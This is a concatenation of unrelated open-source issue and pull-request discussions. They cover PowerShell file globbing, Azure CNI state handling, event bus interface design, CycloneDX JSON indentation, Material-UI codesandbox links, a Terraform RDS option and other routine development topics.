I'm using a video player. I want to be able to play all of the files in a specific folder with all of the files from its subdirectories as well. In bash I'd do <video_player_binary> <folder_path>/**/* with globstar option enabled to achieve this. In powershell I can't do this.
Or maybe my video player is parsing the **/*? Is this what you mean?

That's what I believe, yes. As I understand it bash can do the work to translate mydir/**/* to a set of filenames, but for video_player_binary> <folder_path>/**/* that path isn't being expanded and is just passed as a string.
If I'm wrong, and you do need to run video_player_binary path1 path2 path3  where the paths are put there by the shell (gci -r path_to_dir -File).FullName or (gci -r path_to_dir -File| % fullname) will do that for you.
@daxian-dbw dir **/* is all equivalent to dir */* in effect dir -recurse -depth 1 * if it needs "any depth" it will need to be -recurse instead.

`Ok, ``(gci -r path_to_dir -File).FullName``` works, but only for paths without spaces or special characters. When special characters are involved I get the error above.

Not sure what the cause is :  this works for me ...
> $env:editor
C:\Program Files\Notepad++\notepad++.exe
> & $env:Editor  (gci  'C:\Program Files\PowerShell\Modules\Microsoft.PowerShell.Crescendo\*.ps1' -File -Recurse ).fullname

Notice when I do "gci"  and the path has spaces. etc that needs quotes round the path, but the file names I'm pushing into notepad++ don't need quotes - if I put quotes round them I can error that says the path "'C:....'" isn't valid or ""c:..."" if I use double quotes. But if I force an error by omitting the quotes the error message says
If   <binary>  "<problem file path>" doesn't work from the PowerShell prompt, we need to look at how the app wants the path to be written . But if it does can you try
$x = "<problem file path>"
<binary> $x

and  if that works
<binary> @($x  ,$x)

Not sure what the cause is : this works for me ...
> $env:editor
C:\Program Files\Notepad++\notepad++.exe
> & $env:Editor  (gci  'C:\Program Files\PowerShell\Modules\Microsoft.PowerShell.Crescendo\*.ps1' -File -Recurse ).fullname

Notice when I do "gci" and the path has spaces. etc that needs quotes round the path, but the file names I'm pushing into notepad++ don't need quotes - if I put quotes round them I can error that says the path "'C:....'" isn't valid or ""c:..."" if I use double quotes. But if I force an error by omitting the quotes the error message says
If <binary> "<problem file path>" doesn't work from the PowerShell prompt, we need to look at how the app wants the path to be written . But if it does can you try
$x = "<problem file path>"
<binary> $x

and if that works
<binary> @($x  ,$x)

Ok, I figured out the cause. The folder I'm passing has about 1000 files. It will print all the files if I do an echo, but not when I use the video player. I'm not sure how to get around this.


feat: adding stateless CNI support for ACI

feat: adding stateless CNI support for ACI>
New entry in CNS statefile will be added for a container upon updateEndpoint request if the entry does not already exist. This covers a special case for ACI.
In ACI the CNS path to allocate IP address and send goalstate is different than CNS IPAM for Cilium and azure-cni for AKS. As a result, the endpoint entry for statefile is not getting create upon IP allocation and this fix will create the whole entry when CNI send updateEndpoint API request to CNS.

[ ] uses conventional commit messages

[ ] includes documentation
[ ] adds unit tests
[X] relevant PR labels added

Notes:

could you add the details of the special case in the pr description (like the timeline of events and why there is no entry in the cns state by the time we call update endpoint helper)-- I thought the endpoint state is usually populated in updateEndpointState in cns, unless we don't request ips? Is InfraContainerID (in update endpoint state) typically equal to endpointID (in update endpoint helper)?

DOne

can we write UT for this case

Done

/azp run Azure Container Networking PR


Problem

The setteam Not working!

setteam red §c or §4

And Others teams

Not working!

well. its working fine for me

How? It Come: Usage: setteam color

copy this  'setteam red §c'  and paste it

oh my bad... try use "addteam red §c"


 Last update 65d9ef5...b04ee3d

@mtagle mind taking a look? There's like a grand total of 5 lines changed, should be super quick.


Suggestion: Server Load meter

Is your enhancement request related to a problem? Please describe.
Once again caching game data is incredibly slow. It would be nice to see how busy your server is to know if it's just that what is causing the issues or if it's indeed more likely to be a bug.
Describe the solution you'd like.
Could be done by e.g. setting up a very simple page that shows the server load and refreshes maybe once every 30 seconds. Since loading game data takes much longer than that in these cases that would be sufficient enough. A page only displaying the percentage and nothing else would be enough.
The URL doesn't even have to be very public but could be displayed somewhere on github only to avoid hordes of people visiting it in times when there's too much load already anyways.

That's too complex, you can easily see if it's a server load issue by inspecting the background page of the extension and going to the Network tab. You should see the request to the server and if it completed successfully / how long it took to complete there.

Or you can just make a request to the server yourself and see if it's working normally. I like to test with Portal: https://rafaelgssa.com/esgst/game/app/400 I get a response after ~2 seconds.

Can you give more details i instructions on how to do that?

If you go to your extensions page and enable developer mode (I'm assuming you're on Chrome), you can inspect the background page of the extension and see all of the cross-domain requests that it makes in the Network tab.
Here you can see that for me the extension made a request to the server which took 2.91 seconds to complete.
What you're experiencing might be that the server doesn't have the data you're requesting or it's outdated and it's having to retrieve it one by one from Steam, and that's what's slow? Do you have the option to limit requests to Steam enabled?

Thanks for the details.
And I just ran into one of such issues... leaving me time enough to search through my emails to look for your reply (as I'm having a hard time finding the issues on Github when I search them) and to look things up as you've described:
Some titles involved were "app_ids=34820,330020,546230" but it was many more than that.
Just opening the background page showed the extend:

And the network tab sorted by time with the screenshot cut to the worst:

It's making the same request over and over, that shouldn't happen... Definitely something weird going on here, I'll have to take a look when I have time.

I might not fully understand how things actually work but here's how I think it works and a suggestion to improve speed:
ESGST requests game data - when it's not already in disc cache ESGST then goes to try fetching the data from your server. If your server doesn't have the data either it then waits until your server has gotten the data from Steam to then be sent to ESGST.
Considering that I'd suggest that as soon as data is neither in disc cache or on your server ESGST then doesn't wait for your server to get data from Steam but instead gets it from Steam directly - while your sever is getting the data as well to update its database.
That way time should be cut in half or reduced by a third since ESGST doesn't have to wait for your server to update and sent the requested data. Steam requests should not be an issue as most of the data should either already be in cache or on your server. But not only does it reduce idle waiting time for ESGST it also reduces traffic for your server a little and in cases like those above in the screenshots cannot happen as such data would fetched from Steam directly.

That's already how it works.

Ok, that's odd... because this is what it (again) looked like for me right now:

So I guess it's what you said, some of the same requests over and over again up to about 3/4 of a minute this time for no reason but letting ESGST being stuck for the whole time.

I just pushed an update to the server which should make it faster. Let me know if you see any noticeable changes.

The server is now on Amazon AWS, Still have to look into the repeated requests, but is it faster?


Add class files to gitignore.

Issue #, if available:
Description of changes:
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

all .class files are located in build dirs

not when using the java extensions for VSCode.


Internal Event Bus

The engine is intended to be entirely event sourced. As such, we'll need at the very least an in-memory implementation. I'll try to define some bounds to help flesh this item out:

Abstractions need to be ambiguous enough to allow for the following implementation types:

In-Memory (non-persistent)
On-Prem persistent/reliable messaging systems (NServiceBus, RabbitMQ, etc.)
Cloud Services (Azure Topics, Event Hub, etc.)

The in-memory implementation (we'll defer introducing the third party technologies until necessary)
Concurrency - this needs to be cooked in, even for the in-memory implementation. Testing this stuff is no fun, so we'll probably need to be a little creative in integration tests.
Akin #6, we'll want some form of stress/load testing. There are no benchmarks we're aiming for, we simply want to benchmark and monitor the performance.

Just to help summarise comments below and track future work, I'm going to add a tally to this issue which I'll update before merging any Pull Requests. The table will simply name classes (consumers of the bus) that fall into the respective columns:

Publish Only
Subscribe Only
Publish & Subscribe Different Types
Publish & Subscribe Same Types

N/A
N/A
N/A
N/A

Can probably achieve this easily with an internal project we're maintaining at the moment. Perhaps I can get it OS'd.

Should be fairly easy to write that into it, certainly what I am thinking along the lines of anyway.
To catch up from Twitter discussions:

Bus should not have class level generic so you can add events easily without adding Bus everywhere or w/e its going to be finally called
There should be no marking of events, so we can send any POCO

Thinking the initial API will look something like this (name not decided, will probably change):
public interface EventStream
{
    void Dispatch<T>(T entity);
    IDisposable Subscribe<T>(IObserver<T> observer);
}

Will add more of the convo as/when

Interface looks good; naming I appreciate is subject to change but otherwise it's what I had in mind.
As per @herecydev on Twitter, possibly the following interface would lean towards cleaner practices (SRP):
public interface EventStream<T>
{
  void Dispatch(T entity);
  void Subscribe(IObserver<T> subscriber);
}

For now, I think we'll take the method level generics on the premise that if we get to v1 without a legitimate usage of method level (conforming to SRP), then I'll personally switch the interface and all usages.
Similarly, it may be worth examining whether the Subscribe/Publish can conform with Interface Segregation (i.e. split to two interfaces) but only if we don't have any consumers that perform both operations.
I see typical usage being Subscribe For TypeA, Publish TypeB which would support the interface split, but we'll see how things go.

Before I forget... I have an AWESOME series of code I wrote at work that allows for Subscriptions to be declared during composition without instantiating the event bus OR the subscriber.
I need to speak to my boss to see if he minds me borrowing it. Implementing it the first time was a NIGHTMARE so I'd hate to have to do it again from scratch.

Seems like we've all written things that are similar to what we need / can borrow from for the engine :+1:

//cc @shaundodimead - do you mind if I borrow the ServiceExtensions class from the EventBus project I added last week (possibly also the EventBus implementation too)?

OSS all the things. I've actually got it split into two interfaces at the moment (EventProducer / EventStream -> Sending/Receiving). Keeping it method level at the moment but should be easy change to move to the class level as per discussion above.

As noted to Smudge:
The only thing is that with splitting out the interfaces you could potentially get into a situation where you override the default in memory stream with a azure one (eg) but leave the producer as the in memory -> never getting messages. But cant really stop stupidity.
Basic abstraction/tests to get us going pretty much done.

Reference material signed off by Gilmond: https://gist.github.com/smudge202/7c426c5295a5136c5489


feat: Make JSON output diff friendly

Pretty-print JSON output, with an indent of 2.
Up until now, JSON output is a single line, which is not diff friendly.
Addresses cyclonedx-python/issues/424 for JSON.

first of all, this should be a FEATURE that is pluckable.
the introduction should be non-breaking.
To make this non-breaking: the introduced indent should be an option and default to the old value, so that a downstream-user can inject their desired value. (not set it simply to some value, it was set to 0 before, and this seamed not versatile. why should be 2 better? arguable.).
To make the feature wholesome, also the XML output should support the configurable XML feature.
in addition: the main branch is currently in maintenance mode,
in favor of the development of the next version. see https://github.com/CycloneDX/cyclonedx-python-lib/milestone/4
It might take some time to incorporate your changes.

Could you please point me to the other libraries where this was implemented, so that I can have a look?
If it's not much effort, I might try my luck. But this is not a core concern of mine.

At the moment, the indent parameter defaults to None, not 0.
If it was 0, there would be newlines, and it wouldn't be a problem to use diff on the output.
That also answers the question why 2 is better than the default:
Tools like diff and git can work in a meaningful manner with JSON that has newlines.

re: https://github.com/CycloneDX/cyclonedx-python-lib/pull/323#issuecomment-1351576713

see https://github.com/CycloneDX/cyclonedx-javascript-library/blob/main/src/serialize/jsonSerializer.ts#L61
you will see that the number of spaces can be controlled from the caller of the funtion.
this would help inporporate CLI switch as described here: https://github.com/CycloneDX/cyclonedx-python/issues/424#issuecomment-1351574339

re: https://github.com/CycloneDX/cyclonedx-python-lib/pull/323#issuecomment-1351586584
I do not have a problem with picking a 2 as the indention,
I see a prolem forcint the 2 to everybody using the code. There was a problem with the 0 that was chose n before, there is no guarantee that the 2 is much better. Just give users a chouce and have them inject their own values.


Boundaries checken for _get_seepage

Should the documentation be changed (https://inbo.github.io/niche_vlaanderen/invoer.html#kwel-seepage) to match the code in https://github.com/inbo/niche_vlaanderen/blob/master/niche_vlaanderen/acidity.py?
Check which interval boundary belongs to which category

Closed in #348


[docs] Codesandbox has missing files

Hello,
It's great to have code sandbox in docs. It'll save me a lot of time while prototyping.
I realized that, drawers(completely) and components with images are not working properly.
Avatar;
Drawer;
https://material-ui-next.com/demos/drawers/
https://codesandbox.io/s/zpro6nj7m
Gridlist;
https://codesandbox.io/s/r4mk39vkxq
etc.
Thank you for your effort.

@mbrookes @oliviertassinari  Is ok if I do some work on this issue?

We use an importe to avoid duplication between the tests. It was done on purpuse. I don't think that the issue should change the tradeoff. The best option I can think of is to disable the codesandbox link for those demos.

@oliviertassinari Sorry, I should have been more clear. I wasn't talking about modifying the demos. I thought there would be some way to include external files when creating the sandbox, so i meant that i would work on that.

@oliviertassinari Would something like this be possibility?
Commit 3d7ffaae9145476f1faef929ae9df87bf5d3a0e9
If not, i can take care of removing the sandbox links on these pages for now.

@lukePeavey Thanks for giving a shot at the issue and exploring it. I still think that the simplest option is to disable the codesandbox like by adding some explicit params in the .md. I don't think that having codesandbox working everywhere worth the extra complexity.

Ok, that makes sense.

Add Button to the list, due the use of the internal Link component.

Sorry i wasn't able to help with this.

Ok, #9474 is setting up the infrastructure needed for hiding the codesandox button on the conflicting demos.

Ok, #9521 is setting up the infrastructure needed for hiding the codesandox button on the conflicting demos.

Could i take care of adding this option to the rest of demos (Drawer + GridList)?

@lukePeavey It would be awesome. I'm not sure which demos need it.

@lukePeavey Raise an interesting point. We have some weird HTTP 414 in

Stepper (HorizontalNonLinearAlternativeLabel)
Popover (AnchorPlayground)
Table (EnhancedTabled)

I don't understand. This PR https://github.com/mui-org/material-ui/pull/9491 was lost along the way. We need to apply it back! Then we can close this issue 🎉 .

One more thing before you close this...
This might be a separate issue, but /static/ images also don't work in code sandbox. This affects a number of demos including Chips, Avatar, Button, Card.

Would it work to replace relative urls to /static/ with absolute urls in the sandbox content?
https://github.com/mui-org/material-ui/blob/627ffda5b565b6a6be99d3c429438e4a2c559ffd/docs/src/modules/components/Demo.js#L101

Would it work to replace relative urls to /static/ with absolute urls in the sandbox content?

Oh, it's something you added in a previous PR. Yeah. It's a simple fix :).

Ok, cool


New Tab with only "for the User" Messages

Make a plugin were (or implmente in iitc) with a new chat tab, were only messages adressed to the useres are visible.

Can this issue be closed as a duplicate of #133 ?

@nhamer yes, issue can be closed...


patched Houdini convert method to add  when making call

GitHub Issue: https://github.com/Islandora/documentation/issues/2165
What does this Pull Request do?
Tells houdini to only use the first page to generate a derivative.
What's new?
A slightly modified imagemagick command if you're pulling images from a PDF
How should this be tested?
Upload a big PDF (50+ MB) and wait a while.  Check the size of the thumbnail/service file that gets generated.  Apply this PR to Crayfish and do it again.  It should be faster and the image should be smaller.

I don't understand, I added test coverage codecov!!!!

FYI you can test with https://github.com/Islandora-Devops/isle-buildkit/pull/216

:bow: thanks @seth-shaw-asu !

My pleasure. We already have this in production which has resolved some of our problematic thumbnails.


Add newly released manage_master_user_password feature in Terraform (v4.61.0)

Terraform documentation link: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster
Example
resource "aws_kms_key" "example" {
  description = "Example KMS Key"
}

resource "aws_rds_cluster" "test" {
  cluster_identifier            = "example"
  database_name                 = "test"
  manage_master_user_password   = true
  master_username               = "test"
  master_user_secret_kms_key_id = aws_kms_key.example.key_id
}

This issue has been resolved in version 8.0.0 :tada:


增加中文维基百科用户贡献数统计

Thanks! I'll look into this when I have time later this week.

Sorry I was in a rush in merging PRs today. Could you give me an example for a valid Wikipedia username that I can test with the API you provided here?
https://zh.wikipedia.org/w/api.php?action=query&list=users&ususers=${name}&usprop=editcount&format=json

Just a username I can substitute ${name} with.

Sure, and scvoet is available.

@scvoet I corrected and cleaned up the code for you on PR #25 if you would like to have a look.
In the meantime, could you provide a little bit more for the documentation part of Substats - Wikipedia (zh)? Which is at API details - Wikipedia (zh). The queryKey part is especially missing key information as I myself is not familiar with the API.

@scvoet I corrected and cleaned up the code for you on PR #25 if you would like to have a look.
In the meantime, could you provide a little bit more for the documentation part of Substats - Wikipedia (zh)? Which is at API details - Wikipedia (zh). The queryKey part is especially missing key information as I myself is not familiar with the API.

Of course, I will finish the document today.


Log with newlines

Self explain

Actually, this was intended (so I only use one single line when downloading data)... (so it gets overwritten thanks to "\r" escapes codes at many places
logging sucks in the app, but we have to really refactor all of this to give more control to the user

Well it works well with the "path: xxxxx" but I'm pretty sure you have to be in a tty to have a correct output + on the Wait for message, I don't see the line get rewritten at
I'm no expert in termcaps and stuff like that tho, maybe it's normal
I wonder if we can completely clean a line without going deep in curses/ncurses/termcaps stuff

Addressed by https://github.com/criteo/consul-templaterb/commit/e79425cae45c8232e48a5f36d694b422e2783614